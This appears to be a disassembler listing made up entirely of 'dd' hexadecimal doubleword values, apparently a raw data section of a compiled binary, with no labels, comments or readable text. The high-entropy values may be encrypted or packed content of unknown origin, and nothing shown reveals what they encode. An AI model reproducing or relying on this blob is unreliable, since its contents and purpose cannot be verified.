		dd 0B2AB508h, 7905028Fh, 53D92867h, 0F2ABC9F8h,	0EE80FE80h
		dd 6CE6AD4Fh, 64F05270h, 54E6E90Bh, 0F173FC5Eh,	0DE5779F9h
		dd 74B87765h, 2FFD4538h, 3DF4E497h, 258739C3h, 485CC593h
		dd 0DF76F142h, 5527B3D3h, 4D75D823h, 69C37FE2h,	7B0E27F8h
		dd 14A2290h, 1BD1B334h,	4C52657h, 0F37509FAh, 967D25BDh
		dd 3B7BA116h, 18C3A42Eh, 33635913h, 4900C1F3h, 5FBBE181h
		dd 6C9540BAh, 8D3C55C3h, 3F93D281h, 0F329B606h,	5D4085EDh
		dd 49E15E4Eh, 0AB7EB4D3h, 8653E565h, 0F96298BAh, 985BB040h
		dd 68953DD0h, 3CF431A8h, 33BB67C3h, 0D05CF702h,	87776513h
		dd 2B756808h, 1F348BAAh, 71AFD7E9h, 0A7E817Dh, 6F3128AFh
		dd 0C54F5CB6h, 5CEFB96h, 1356B840h, 963D603h, 0FF24698Eh
		dd 3AC5B62Ch, 7A7762FEh, 927F0E66h, 0C15967DDh,	0F65F6805h
		dd 2DBBE5C3h, 39FD0F4Fh, 233CEF4Ah, 81614AE9h, 0DD5E5D6Fh
		dd 7BAF657Eh, 0B589C9E0h, 0F627CC53h, 0A34A1492h, 6909A102h
		dd 0B1FC2148h, 0AF7848Bh, 0E961DA86h, 47D595Eh,	486FED5Eh
		dd 4CE04C3h, 0D9C00D4Bh, 50C83AB0h, 1F56F852h, 30F9628h
		dd 0B85FB4E5h, 0DFF53C05h, 0DA00A724h, 0B56973E9h, 5662BF41h
		dd 160BC07Bh, 271D16E1h, 165D7A99h, 0F53954Ah, 5D65120Bh
		dd 582610C5h, 228DE9C1h, 0EBE3D581h, 70576150h,	7995999Fh
		dd 10856A60h, 20B60773h, 0EE96F728h, 9C5964B9h,	8171BA7Bh
		dd 810471E1h, 6E47FCF5h, 8100648Bh, 6D2F91EFh, 0F748014Ah
		dd 5E084067h, 0E88C874Fh, 3B3F2EE9h, 0A3CBBD9h,	0FB3E8112h
		dd 8F13A661h, 0B40BEC06h, 805E0311h, 443AC802h,	9F09073h
		dd 94AA2C2Bh, 67F667C8h, 92E97212h, 2D731537h, 0B95C04A6h
		dd 0AA193605h, 63731B08h, 1B4E01BEh, 221954E3h,	60E5A513h
		dd 74E37D61h, 51135DEBh, 1D943B23h, 299BA0BEh, 54E911C2h
		dd 0F0C3E669h, 85CFD658h, 0DF389C55h, 0B7E970h,	408ABAE3h
		dd 0ED7EE51Ah, 8F95E47h, 0C50C5CE3h, 243060E9h,	208EA043h
		dd 2A873E05h, 0C9502619h, 34013AEAh, 28C90718h,	2499320h
		dd 5236BC4Dh, 29FD5A5Dh, 6251D17Ch, 0C5F60E42h,	0A48CBC82h
		dd 2F60D56Bh, 0D9178E05h, 0B5BC2D72h, 12544F2Ch, 0C9DBE94Dh
		dd 0BF45D788h, 1446E38h, 0A86866D8h, 98B5F06Ah,	2020E695h
		dd 4D4829B1h, 40FE07CBh, 0A3C2ED75h, 4AA07CCCh,	0BFCA131Bh
		dd 1268E638h, 5320774h,	0F3168810h, 82267ED2h, 116A733Eh
		dd 4629FF0Bh, 4F50BFCh,	6848667Dh, 0BB970130h, 8528D980h
		dd 1FC53793h, 9C5DADF4h, 9568131Fh, 2BD2C906h, 58C546F8h
		dd 0BB484926h, 44B49802h, 32DAED80h, 687554CDh,	5525A52h
		dd 274A77F7h, 35909200h, 1301739Ah, 49B5E9EBh, 715D50E8h
		dd 0FDE950CBh, 625BA7F7h, 0FADB7037h, 6E5B810Fh, 0ECFD4A8h
		dd 5685616h, 0BB7F7088h, 35B25077h, 0FF2B5F9Bh,	0A08AF9D8h
		dd 2D49BF40h, 0AC563431h, 0E12F295Dh, 0E90B0091h, 7BE1664Fh
		dd 6E4F9ADh, 0A791EE35h, 96245E9Dh, 93BC0455h, 7D8749D8h
		dd 7BFE90CCh, 5443E2B7h, 0D17F5AC5h, 59CC7FAh, 0ED5DC1D6h
		dd 0FC0DA09Ah, 1BADD40h, 565C3E1Fh, 6B42D2F7h, 0DAA41CC4h
		dd 4D6F1865h, 0CCA40C60h, 0E2B25B2Fh, 0DCA3043Ch, 871308FCh
		dd 28D9BFDDh, 293BE42Bh, 0C1BBB688h, 3032B22Ch,	0DA3D6AFAh
		dd 0F483B43Eh, 872F3749h, 6D511443h, 0A7ACBE9h,	1CCC52A3h
		dd 453C00AFh, 1D2D4FBAh, 1EFEA548h, 3E9833C9h, 2D79A30Ch
		dd 0EBA82B49h, 130C3408h, 1E76F414h, 0ADE2905Eh, 51156809h
		dd 0D5524CFEh, 0E9185A1Eh, 860B4BFBh, 9D0BBA61h, 3BF2090Bh
		dd 0CE2F5A7Eh, 53B057A0h, 70B65FFEh, 0A7685780h, 0BF4CE708h
		dd 9496FD1h, 0B355ABBh,	29E2A7Ch, 344BE6D7h, 0AB57389Bh
		dd 0A66B92A8h, 0B5D83EF5h, 2666E274h, 3C2B1C1h,	42853418h
		dd 22BB98E9h, 0C45024A5h, 0E94C6B10h, 9B459F18h, 3C2C26A8h
		dd 150ECE35h, 9AFA1263h, 61274877h, 9FE3E9B5h, 0F0310A8Bh
		dd 5AA8297Fh, 0E4F95BC1h, 2305EBBAh, 317C6195h,	27E9EDC8h
		dd 0D952741Ah, 4DF44EF0h, 88A6815h, 0A8904136h,	4D35F247h
		dd 0AEE20C92h, 29B0D817h, 21EB2F88h, 0AF5E14A2h, 61C84706h
		dd 66630F68h, 25DD04E7h, 71EC1E8Eh, 7464F01Ah, 517CA1CCh
		dd 1E9E7520h, 5E4F13BFh, 0A36C8B46h, 0FCF5BADFh, 17BD4806h
		dd 228E18h, 6414D8C3h, 70F7E975h, 22F6BD09h, 0FF425C51h
		dd 8B1DC58Ch, 5D14F0CCh, 6A4CE6F6h, 0C821C44Ah,	0C16760AFh
		dd 317C0CE8h, 0E6C2E913h, 0FDCCCCBEh, 52BAC5Dh,	1577464Eh
		dd 0FC17D894h, 2F3C7EF6h, 0D39F8C5Eh, 0D10CFADFh, 2F68545Fh
		dd 2FBB1463h, 6833FDD9h, 4464C592h, 0FC1B2E6h, 929F07Eh
		dd 0C486CF1h, 9F5CBD8Bh, 0BC4CE958h, 68661264h,	0B34E90Eh
		dd 17BE25AAh, 0C70FA448h, 75708E09h, 9A07047Eh,	3929EA13h
		dd 0C1E777F8h, 4E5EC533h, 0C8C03F97h, 8533BCh, 93B9513Ch
		dd 0E902266Dh, 3F2BB20h, 14F4BA52h, 57D915AEh, 2FFC3E97h
		dd 585BBEB0h, 124A4948h, 0DB65B136h, 0C771621Ch, 8E290D53h
		dd 4941051Eh, 2CC4BD54h, 0CE57B902h, 5D3114FDh,	75245BFBh
		dd 97F44E27h, 96854187h, 530246D9h, 74679668h, 2FEE446Bh
		dd 9CD78336h, 0DBAD2733h, 984AF21Ah, 4E7309F6h,	4817EA4Fh
		dd 91D6DA8Ah, 1DE772Eh,	23AF3868h, 13DDA803h, 0FA0162E0h
		dd 0C5B85000h, 57DD512h, 5C2AF418h, 6C2FC6E5h, 334D1E46h
		dd 0A3BC4BE2h, 5780AD59h, 80126EBFh, 30BC294Bh,	59CB2109h
		dd 7C847A81h, 0C04F3F8h, 2C587491h, 0FDA33080h,	0C1523E1Bh
		dd 0E8E90604h, 0CBACF871h, 1614EE56h, 9D6418E9h, 8D347BC8h
		dd 0D15E18E8h, 10B0BDD1h, 0A7C45F2h, 0D60954B7h, 0E3F60781h
		dd 0E81BF67Fh, 5D287564h, 94E3EFh, 9F6FF6BDh, 0ACD8146h
		dd 6CB15D51h, 74F502BDh, 0C2555837h, 2ECF4193h,	0ED06BB72h
		dd 0C4A7635h, 29D1A09Fh, 0CB6FE9EBh, 327489B5h,	0F4BB5358h
		dd 16FE043Eh, 0F93AB0E9h, 29ECD343h, 2D352F09h,	82835857h
		dd 52C56C08h, 7C88BFh, 3513724Eh, 0B71BEB05h, 0EFA8124Bh
		dd 81F20741h, 0AE80E911h, 79BDF33Fh, 0A0BEDA25h, 8D32396h
		dd 0EE294AA8h, 61CE2CD7h, 72D90320h, 942AA33Fh,	702D7836h
		dd 8644007Dh, 9D302356h, 8826672h, 82A94CD7h, 8542F519h
		dd 0C35E4352h, 0F8210D07h, 2C01F2B9h, 6B782DF3h, 2C27734Ch
		dd 6B20D7EEh, 88DF181h,	0C38A130h, 61A4CA09h, 85E98C01h
		dd 1CC7398Fh, 0DD2778D8h, 229748B6h, 5E39EA1Ah,	4509613Eh
		dd 7F2D704Dh, 760DEB4Dh, 7C88295Bh, 730B1676h, 5A0ACA27h
		dd 12C13C98h, 9C0C8758h, 0B3409BA9h, 2B3CEB68h,	14F1377Ah
		dd 4026B243h, 8700E055h, 0C1BABDA2h, 976ECCD7h,	0C1CEBA5Dh
		dd 89255990h, 3C31282Bh, 65EE674Fh, 0DB10EE45h,	3AA59255h
		dd 4989A33Ah, 0D41E1062h, 2B406625h, 0B8EC5051h, 367DE736h
		dd 0E11CC7F4h, 0D9F7C302h
		dd 0BAD607FDh, 0C631C40Fh, 0C318122Bh, 0EB0A6D17h, 3A5B7EB8h
		dd 0E915D809h, 474AE4B3h, 37E4C05Dh, 334D6780h,	0EF857AEBh
		dd 0FE65DB1Dh, 9AF72776h, 81A2D4D3h, 0C034BEB9h, 60107133h
		dd 2590E80Dh, 0E907E005h, 89E882E7h, 0CB4273C1h, 488B3676h
		dd 0CE597585h, 845F8926h, 90A3904h, 5BC90B3Ah, 623CC677h
		dd 0C62913C0h, 479FBF40h, 2212432Dh, 39B4C81h, 8CB14DBDh
		dd 20453159h, 6B135286h, 0A7E43190h, 2A302C9Ah,	98F101B9h
		dd 617E431Bh, 0C9DF4082h, 1A6D0B49h, 0A6385C72h, 8BF6882h
		dd 9692F471h, 5D616AFh,	0B9574502h, 0BD661C76h,	5E2F725Dh
		dd 0AC480AFCh, 6DF21FE5h, 0B8701622h, 0C4CF2079h, 80A5718Fh
		dd 58B774D8h, 8427CE13h, 6EA7D48h, 0D53B4CBh, 8172857h
		dd 605F5DE2h, 14894F1h,	16B98C66h, 2FAEFBFCh, 0DF057CF1h
		dd 8B53A2EBh, 0E6A377DDh, 820085ADh, 8D1FBC25h,	24E0D132h
		dd 734840h, 7D8C5A4Fh, 114E89E9h, 0BC5B578Eh, 0B2E98419h
		dd 4BCF2094h, 0B1B1A44Eh, 25E9283Ch, 4B12D962h,	20C1E477h
		dd 0B7EA5ABCh, 16BC6EEBh, 0D7D01CCBh, 0E9613DB6h, 1058571h
		dd 3F736F06h, 54833F45h, 95A87329h, 7504DCD8h, 5A46071Fh
		dd 0A69698FBh, 0BBF2F40h, 141242ACh, 0DA8D686h,	0E961FB94h
		dd 94A5BA74h, 7C23C47Dh, 0B5147456h, 68E185FCh,	0F4384986h
		dd 3634CDC0h, 0D162BB25h, 0FCDDE90Bh, 0EBBA00E7h, 0B8277B2Bh
		dd 0FBAB6F0Bh, 883D687h, 0FCA5C601h, 0FA5F45CEh, 0BF4A7DCBh
		dd 0A018DD92h, 0A0F7819Fh, 0E7372EF5h, 0E183BC55h, 75F177EAh
		dd 4F300C04h, 0ADBA2023h, 0FAA85E90h, 0E8CACE17h, 1EBC2A9h
		dd 0CCB38043h, 182DF07Ah, 321B62E9h, 0E83C6866h, 0A6039238h
		dd 693D76F9h, 0FDF72A41h, 0BC99885Eh, 524C9492h, 6BA2864h
		dd 55899D20h, 0C2FDE55Dh, 54281B38h, 6BD720DAh,	0BBF1801Fh
		dd 76830ACBh, 59D18C51h, 0D497052Ah, 13163DE1h,	0A993EF6Ah
		dd 0DB23488Ah, 0FDB35380h, 5B5AD988h, 0F119ACA9h, 0E0080C9Fh
		dd 0B5963B92h, 0A26F0D51h, 0E5AB18FCh, 25FD8952h, 227F2D5Fh
		dd 57748763h, 7878177Ch, 0CC6880FEh, 4FD32A19h,	0DDEBBFFCh
		dd 8C48A7FFh, 0B66CEC5Ah, 8158450Dh, 58F79BDh, 0E37F40FEh
		dd 0BA51AD4h, 61984C3h,	0D5BAB4DFh, 0C6AB818Eh,	0C7E305Dh
		dd 0C34BEBB7h, 64446296h, 3000997Eh, 720459CEh,	28DD0E02h
		dd 66832CF0h, 0E9D1B551h, 0FDA9D2BEh, 6D60A380h, 0F7F81AA6h
		dd 22EF714Ah, 9BD84008h, 1835BA04h, 0C7EA04F1h,	0D2B4D2DBh
		dd 2C76737Fh, 96AC092Ch, 0FE90267Bh, 40717550h,	0BE0556A3h
		dd 102A0C1Fh, 3134C7AAh, 42BA52E8h, 0A743010Bh,	6C2D6A12h
		dd 0B35F24B7h, 4C581Ah,	4A4239A1h, 4F3DDB05h, 24D6E07Ah
		dd 0C14ED99Fh, 22575868h, 0F370330Dh, 0F8B8BAE7h, 0CBB8D3BFh
		dd 5BDC4FFFh, 0B7799D56h, 6844E9C1h, 1888F37Bh,	212340BBh
		dd 0DECDD0D9h, 4039F524h, 6D0903A8h, 4C0183A0h,	29121F16h
		dd 5C6B41EFh, 6143A6A4h, 0F1F27BB8h, 72E1022Dh,	49E62F31h
		dd 0F4E5C114h, 74979C18h, 0C718805Ch, 16E62890h, 0B76880D6h
		dd 71BD574Fh, 3B060894h, 96125F77h, 0B0019401h,	60C8E966h
		dd 68BE34h, 31342B10h, 0C2835FFAh, 11B014Ch, 7CCF1FB4h
		dd 5730E9D1h, 4EA7F69Eh, 0C0CEB103h, 0F5B04DA1h, 0D6397F05h
		dd 3E830929h, 0C73C0553h, 0C8613C76h, 0C302670Dh, 20E9D0A0h
		dd 89627C9Dh, 7627F60Bh, 0EA83125Dh, 61C29E80h,	0C051FA2Dh
		dd 852C6E98h, 0C7A244EBh, 46058204h, 0A3BE5928h, 88648533h
		dd 574C9F05h, 0F2692CB7h, 9F899CFFh, 0E12DC1FBh, 0DB29DB4Ah
		dd 360B4525h, 0E985F17Bh, 0D50A449h, 0A66409FEh, 75447869h
		dd 0CC1D18F2h, 2AC21173h, 60611970h, 0ED72A30Ch, 37E2C03Fh
		dd 25F55805h, 0B2B6CD1h, 524C7DE9h, 5F6C1E53h, 0F0214F13h
		dd 0FCA0D9A4h, 4C82E424h, 7875097Ah, 0BE28F20Eh, 0D8E3943Ch
		dd 0B62A4307h, 9B80D26Dh, 9F502CC4h, 81ED10D3h,	0B391EB5Bh
		dd 0E3A4BDEh, 2D6029B2h, 498515Fh, 254CD8EBh, 0DE9505F6h
		dd 1893398Eh, 3C2CA66Dh, 4AC5AEDFh, 0DF408709h,	5B5F0FB2h
		dd 0B0E98661h, 511280F8h, 27B87668h, 0DE25CBD0h, 7DA5B67Ch
		dd 0C1F36A33h, 96F0E8CCh, 0AF10D6B8h, 0EEB50B16h, 0AB82DF80h
		dd 0AC59852Dh, 4C8EB16h, 5E6740CEh, 52ED535Fh, 85BC34Ah
		dd 5862E2B2h, 1B90B281h, 2AE2FA8Ah, 0B455972Bh,	25E2B63Ah
		dd 80FAE5FDh, 5840F609h, 0C0606EE9h, 0D047B248h, 7602B7EAh
		dd 5804156Bh, 2DC92CABh, 82347C6Eh, 0F7A269CFh,	0E12070EEh
		dd 0D3B804FEh, 0FF013B19h, 5D420FB5h, 546B0E53h, 9D136655h
		dd 6C2232CFh, 53E9540Bh, 246DF561h, 3D558908h, 959F79D8h
		dd 734CBF7Eh, 0C03D5Bh,	8875B7B4h, 805BFC07h, 0C430DDECh
		dd 590CE96Ch, 1E076C31h, 0A2279502h, 73D79AFEh,	2CD20C11h
		dd 0A3BCC787h, 452DD427h, 4217B15Ah, 0F50BA338h, 0DA4AA80Eh
		dd 24D9AFE8h, 9AB0908h,	2C84F186h, 76B6006Bh, 0B559EE30h
		dd 501D1FD8h, 0DC4AAFB4h, 333DD6C0h, 1CFFB2D4h,	511F40Bh
		dd 0E8CAE9E6h, 0D0F712FBh, 0AA4FED01h, 6A908A8Eh, 0D7502DF4h
		dd 21F999BBh, 0C3447A77h, 0CCBE7244h, 0CB6930B3h, 9D18D22Eh
		dd 0E9044D65h, 38ED3B62h, 0B2E4302Ah, 0DC681201h, 13CACC5Eh
		dd 1AAB4249h, 505AAD7Ch, 34D6977Ah, 0D3645772h,	4C3A681Eh
		dd 88E94B30h, 0BA40C354h, 0B82D9A3h, 5F7F70DDh,	0C9E561F8h
		dd 1B85040Dh, 7BB3C002h, 5938540h, 2FB8724h, 0A1BB62ECh
		dd 0DD252FF6h, 0E581C029h, 0D1A009AAh, 301A8901h, 638EE8BDh
		dd 7D161613h, 8525029h,	31B1394Ch, 80CF60CBh, 575380h
		dd 9C35DBBFh, 0BACF8104h, 15374512h, 0EF541CFAh, 470848C0h
		dd 87C713C0h, 0B72FFC1Bh, 4B7ADF78h, 962CB01h, 0C3E91F63h
		dd 0F22BD035h, 202DD289h, 188CF66Fh, 0F3D37C78h, 0FC1309A7h
		dd 0CC21434Dh, 6A5F0F88h, 0A0BEC3C4h, 2613E11Fh, 0AD04237Fh
		dd 800FD0F2h, 0F16001CEh, 66D9F613h, 28EC5E90h,	64E0E148h
		dd 0ADAAAA1Ah, 20864C1Ah, 6E6812F4h, 0EF143430h, 127537E2h
		dd 43ADE90Bh, 282F0544h, 5ED112F3h, 1C56266Bh, 0D62F4385h
		dd 7164CF4Fh, 2CDDAB7Eh, 6DB0D4EFh, 0EF81024Fh,	5E98AD3Bh
		dd 0C405ACA0h, 4DB1170Fh, 20F10720h, 0F74D9C91h, 3FDA507Fh
		dd 1B053002h, 60CFC0B3h, 2F26F5FBh, 3554508Ch, 585B08A0h
		dd 0ED3F6CD9h, 99EFE490h, 0DB5F3CE6h, 98128018h, 0F9012836h
		dd 0AA0883C8h, 5F74C9D0h, 966BF7ECh, 3D358BC9h,	5569C5F6h
		dd 82E98E51h, 827CD288h, 0B5CDE06h, 94F67200h, 27602862h
		dd 9E69160Ch, 0F1E9160Eh, 5591F4CAh, 6198F49Fh,	4C3FA068h
		dd 0C55888EFh, 19442DC2h, 6780DFB4h, 4002E0C1h,	45241A05h
		dd 0C602AD97h, 48D52AE9h, 95260B16h, 0F7253167h, 72900716h
		dd 0DB1BDA2Fh, 7AE40BD3h, 6DF79B30h, 11AD3BE1h,	0A2E2FBB4h
		dd 89366196h, 487938E9h, 601F5E0Ch, 0FA29B5C2h,	4405D7Bh
		dd 0CD1A8145h, 606A3A7Ah, 0F82B70FBh, 1FE9185Ch, 76B8347Dh
		dd 340F82F0h, 6BA38E05h, 5FED89CBh, 2A2A0743h, 4A29875Bh
		dd 0FAACA46Ah, 630B6F81h, 2445E9h, 32015858h, 0FAF51617h
		dd 3FD00866h, 6D27C9B4h, 3E57D441h, 0D45004E7h,	0A1EB568h
		dd 0D67F0C2Dh, 0A500C98Ah, 2E3F7E07h, 1E2050B7h, 52FC0AEEh
		dd 98D9AE5Ch, 80DEF530h, 3B7B35B8h, 142D2B07h, 11EB33B7h
		dd 0F2E28B51h, 12045F4Ch
		dd 3FB3FABBh, 0EFAE04A4h, 20500998h, 0E80F450Fh, 0D8FB9777h
		dd 0D0422C45h, 0D5BD23FCh, 6AECA4C0h, 0C5F1430h, 4C2D077Bh
		dd 0C300C36Dh, 0C14B9D4Ch, 0C89503E3h, 4D77FEFh, 0E7E94544h
		dd 0FA5E0B01h, 2D54203Fh, 8045B20Fh, 0D330A5C2h, 11A0C2BFh
		dd 0FD28097Dh, 232B8E8Bh, 60709158h, 29A60D0Fh,	634EE6DDh
		dd 9D0BB71Eh, 52E6EAFFh, 20A508B6h, 3E0E53D0h, 18FDCC11h
		dd 7C5E3974h, 7CD9F71Fh, 0D0490712h, 7B26FCB2h,	0F1092976h
		dd 808340FEh, 491BED45h, 10E1636h, 0A1FA13CDh, 92407294h
		dd 5EE8F1B4h, 0D3E5ADBCh, 0A91258E6h, 0D4C6BD30h, 695607BCh
		dd 0F2C31820h, 130D5954h, 24E3E90Bh, 92685CD4h,	928EB90Bh
		dd 0A33B43AEh, 0FA31B25Dh, 0C5524477h, 0DCAB584Bh, 4826E987h
		dd 0F4A70E18h, 0F9A18B59h, 55B49A5Dh, 0A65CBFABh, 4E03042h
		dd 0D5D8FA5Eh, 7D1509EEh, 0F27E32E2h, 529708A0h, 0E3F3B503h
		dd 1B62D649h, 0EF8D59C7h, 25E9E53Ch, 9F531C68h,	0A895F727h
		dd 46A25C98h, 33E82F25h, 880FA7Ah, 7B5A94E9h, 0CF583CBAh
		dd 0B0404F41h, 5BD83C76h, 56BF52Eh, 54D70408h, 5AAC13BFh
		dd 8EE6FEA5h, 0AE53A634h, 8BD010h, 81FCDC80h, 254C25EAh
		dd 887F6E1Fh, 5812088Bh, 27D7CBBFh, 842AE501h, 0B3315268h
		dd 948A126Fh, 0C7359390h, 618355Eh, 0F66A040Fh,	0D2F4AF39h
		dd 0FF5D4B5Ch, 6475E771h, 0AA3A7A35h, 18F69400h, 90452BC9h
		dd 38D70672h, 210963D1h, 37B2F500h, 66E91C31h, 98CAB286h
		dd 1094382h, 230CDCBBh,	0CBF95618h, 3090CCE6h, 0DA75D846h
		dd 730ABE5Bh, 0E1D2BBB3h, 0E6330D02h, 7FCA7F46h, 0C25A0804h
		dd 35F15EFCh, 0B3F976Ah, 0FE4E7068h, 0FA86C9B3h, 5948F19Dh
		dd 1AD304C9h, 0B0011CB5h, 0D83C4047h, 42260DCAh, 0C201A927h
		dd 3DD0B58Ah, 0C167B02Eh, 4105EB2Eh, 0CFA05B2Ch, 135A5BB5h
		dd 0A0152153h, 0E4CA683Ch, 6788C9ECh, 275E520Dh, 0B11243E8h
		dd 3552FEFh, 7D8F6B1h, 20540404h, 0D124EFC1h, 0B4199852h
		dd 3980CE3Ch, 7AC48497h, 1AB818E9h, 0F3003A58h,	2D5A5E17h
		dd 0EE01C350h, 26D80D23h, 8560357Ah, 8441B5h, 5673B8Bh
		dd 7D850350h, 557B2D13h, 2F62C208h, 16828076h, 7F0FDB6Dh
		dd 0C5E9AF01h, 0B2446B6Eh, 5709663Ah, 2E4A3200h, 0ADB8414Ch
		dd 8254E40Bh, 0C6A0206Ch, 4BFB1455h, 4D0AB15h, 0B420644h
		dd 7D05E9DEh, 0F680F327h, 341806D5h, 0D10ACFFEh, 5BFD0130h
		dd 0FAE95066h, 43A33A0Dh, 0E2CF2985h, 0DF004EEBh, 2A7545BDh
		dd 0B32BE90Dh, 279C483Ah, 4FA25E5Dh, 0C1B1B2F7h, 1D781E29h
		dd 0BA1CC52Fh, 98003B13h, 0E972A657h, 0BC9AC7h,	0C05051BAh
		dd 241BD12h, 0E21A4D2Dh, 1015FEBh, 2B096853h, 57C4B2B8h
		dd 0B146C8BBh, 39AE583Eh, 463BA768h, 9AD816B4h,	901C5270h
		dd 0CCF2C170h, 890D170Bh, 3D6D77C8h, 3394DFA5h,	0EE4E7997h
		dd 0D6ACC26Eh, 5603E6Eh, 1F2FC641h, 46C9027h, 0FD4F5DEEh
		dd 65E7C77Ch, 7C43FC70h, 35C3D0Bh, 0A1A127Eh, 80166E08h
		dd 5B0347A3h, 0D7F7FE87h, 3B480860h, 0B813B052h, 0CF5441EFh
		dd 2AC2D5B1h, 129E6089h, 4158A0ECh, 3AB42F20h, 3DFB82D4h
		dd 4E2ED5F3h, 0B08423EFh, 0E8A0FB46h, 0D6216AA3h, 40E10151h
		dd 40102824h, 0EBA4ED92h, 4EE9483Eh, 0F2BBC184h, 490A489h
		dd 2F5B2005h, 6CC422Eh,	92697222h, 6A920B8Eh, 7D892CFBh
		dd 5FBCC540h, 0AA6C0480h, 6FA381DEh, 98828701h,	78FE95C6h
		dd 0F464E2F7h, 0EA80073Ch, 0D43B8411h, 0AE2FBEC3h, 4CD0004Fh
		dd 0E915616Dh, 35CCB44Eh, 2BA63D2Dh, 0D0014B05h, 5A070905h
		dd 79CC0257h, 492D0080h, 1B5053F9h, 5A5A58F5h, 12D149Ah
		dd 4C137622h, 0D8626802h, 6B5FF453h, 67FF145Ch,	0EE1009F3h
		dd 459DB57h, 0F91C4721h, 4BE584F8h, 0AC678CFBh,	317430C5h
		dd 431661BDh, 0C07D247Ch, 0B25CBFF5h, 685E2805h, 32EB3819h
		dd 0A9F27EC9h, 9CF2C307h, 2B4FEEAh, 0BE4E2CA8h,	965F0528h
		dd 0AA31121Fh, 0A043E4D1h, 0A01DFD6Ah, 245BFABFh, 800B3Fh
		dd 2E387AB7h, 3BEF4FE9h, 0FE4B38E3h, 91EE1813h,	808FE910h
		dd 73EB8149h, 0EC3E0C49h, 1F21EAF3h, 25D17DB6h,	12D295Fh
		dd 1C20AF90h, 0E8C19D70h, 0D4295C54h, 0A109A82Fh, 2CE1B102h
		dd 53F80740h, 0DD2FB725h, 319D8041h, 32C7C9C2h,	265F32C6h
		dd 52C9D65Bh, 0C05EC7F8h, 2FBB29AFh, 98C28AFh, 0B3BBDCA8h
		dd 3CBD6704h, 0C4BEDBF7h, 8C4EC49Bh, 8909DAD6h,	5DB1E9D3h
		dd 3E9E308Bh, 0ADABEFB7h, 57A2A457h, 44C4BC2h, 85B9C0BEh
		dd 3CF6465Dh, 8710DC97h, 0B9360A91h, 28D89C00h,	71E54A09h
		dd 4BB17A5Eh, 485E2CE4h, 855B7094h, 0B4CFEBDEh,	3FFE6809h
		dd 0EB73D6C6h, 0B24B186h, 8E710C74h, 0F8416702h, 82A4502Dh
		dd 68BD2107h, 5D26557Ch, 3EA86310h, 2DA0525Ch, 4E106108h
		dd 8C9AC43Fh, 5B606A94h, 0B850F12h, 0B05F9560h,	0B695E983h
		dd 665707AAh, 0A206C7BFh, 0A477BC0Fh, 0A680086Ah, 9DF6568Ah
		dd 680CACF0h, 1864797Fh, 0E7511FFBh, 6DE50261h,	0BCD00632h
		dd 64409E6Ah, 2CF1D313h, 0BF2B9A0Dh, 0D817F02Fh, 8546E2B3h
		dd 27BBF303h, 5C1182D6h, 320C6655h, 0D3101FE5h,	497F610Bh
		dd 0A44632A7h, 8ED9682Ah, 0D0B4F49Dh, 50A02CD6h, 0E6120913h
		dd 5F524304h, 0EAE4ED05h, 909F7FEh, 0D410E268h,	4C84D248h
		dd 247CC9FAh, 735E2226h, 0BEA7C0CCh, 0DFF70913h, 4E505Dh
		dd 0F5472786h, 2D5FF809h, 37011CF0h, 0E9C10148h, 0FF2EF75Eh
		dd 997E4C2Dh, 31AE3B9Fh, 32BA4356h, 66270785h, 5CB32022h
		dd 0F3EA8486h, 0D9EFD7FCh, 8808A0A4h, 0C0C58C4Eh, 0CB37E6BBh
		dd 50ED05EEh, 946202C8h, 83B83435h, 1A00877Dh, 0A6231BBFh
		dd 1FC7816Fh, 0DB88E5CFh, 8AA1FC01h, 0BF34801Eh, 3F6530A0h
		dd 99E49F89h, 7B3461B7h, 0B7D8A86Bh, 91668F5h, 40115EF0h
		dd 6B904D6Ah, 68E10E0Fh, 5673869Fh, 8E6CB618h, 0BE9DEA0Ah
		dd 40FDAAF6h, 2D53CDEDh, 82D535F1h, 6662F792h, 9FA4F014h
		dd 38F6903h, 3F0E3AF9h,	924A2841h, 492A4C1Eh, 0D7C1984Ah
		dd 804A9C30h, 0CA3FF3FCh, 2B401738h, 52DE21ACh,	541A4752h
		dd 0B66D725Bh, 974E14F7h, 0B32C88DEh, 0C04555A7h, 46FE983Fh
		dd 0BC55580Eh, 0A87EC2B7h, 1C566801h, 0C8CF907Ch, 59424BDEh
		dd 8D45827Dh, 750ABCh, 603D4FC7h, 6828FD5Dh, 0FA78270Ah
		dd 0B928C382h, 0F81AAD2h, 2F61CE81h, 2C852B7Ah,	102F76E5h
		dd 0BF16941Dh, 20DAF605h, 0E54DFDEDh, 18EA4881h, 39608E3Dh
		dd 20841C7h, 135C14F2h,	0F7CB7F4Bh, 3ABAADE9h, 0A4E31C31h
		dd 0CBCA119Fh, 4E5F9FF9h, 532DC936h, 18ABE2A0h,	0B6A127E0h
		dd 25122AAAh, 0F21F3AFh, 0E405B450h, 8BDA6C6h, 35F0310h
		dd 20478F58h, 94065F81h, 6EE6FAD6h, 0C66C7715h,	8C2C4313h
		dd 1E0390C7h, 0D4E9411Bh, 2E2510DDh, 0C32F7A2Fh, 4EAE224Ah
		dd 93A965B1h, 47085ED0h, 3BC70858h, 0EFC00D80h,	52076603h
		dd 0D7287CB2h, 0D22C5A61h, 107019C9h, 0C4CBE904h, 52C0BBACh
		dd 0CE80B2B6h, 0C6304573h, 0E9440619h, 4E65B239h, 96B8E756h
		dd 60FC8AB4h, 0B0EBADEAh, 0C9A2AB3Fh, 0C82037D0h, 9476BD51h
		dd 0A70F191Eh, 4BCBA474h, 493E3A3h, 0B7D1529h, 0FF108B5Dh
		dd 65B33FA5h, 0E9B3D0A9h, 4FC003C9h, 5B2035EEh,	209A9206h
		dd 0EC808BC4h, 6070B195h, 22FFE148h, 0F524B5AEh, 4E26FC2Bh
		dd 1915AA8Ah, 7612C178h
		dd 0C5324746h, 0BC91D502h, 28BE4BECh, 6F604C61h, 3BBCB90Ah
		dd 512E329Bh, 3472FE32h, 56C1350Fh, 0E29969A6h,	65EDFF19h
		dd 85D1E905h, 0AB45C91h, 1DCBF66Bh, 26941DE5h, 31EE0BA8h
		dd 0EA8005D0h, 28E114C1h, 7CB9E22Eh, 7E27F2B6h,	1657E9ADh
		dd 0E6C06275h, 11C687D6h, 57516812h, 948F336h, 47093E1Ah
		dd 0EC73308Fh, 48ABC6BFh, 15F136Eh, 175B01D3h, 0F97C4A72h
		dd 513A7C64h, 38BE2B0Dh, 655E7A16h, 0FA2E32AAh,	27FD36Ah
		dd 923516h, 0C4C2C6B8h,	8D31F524h, 9F9010Bh, 0D00E0B30h
		dd 0D359144Eh, 8F20E2E0h, 3E196816h, 1FD3FF37h,	881A34CEh
		dd 51C2AA42h, 3C565752h, 6905FE12h, 0CBAE9CE2h,	17AB4C8Eh
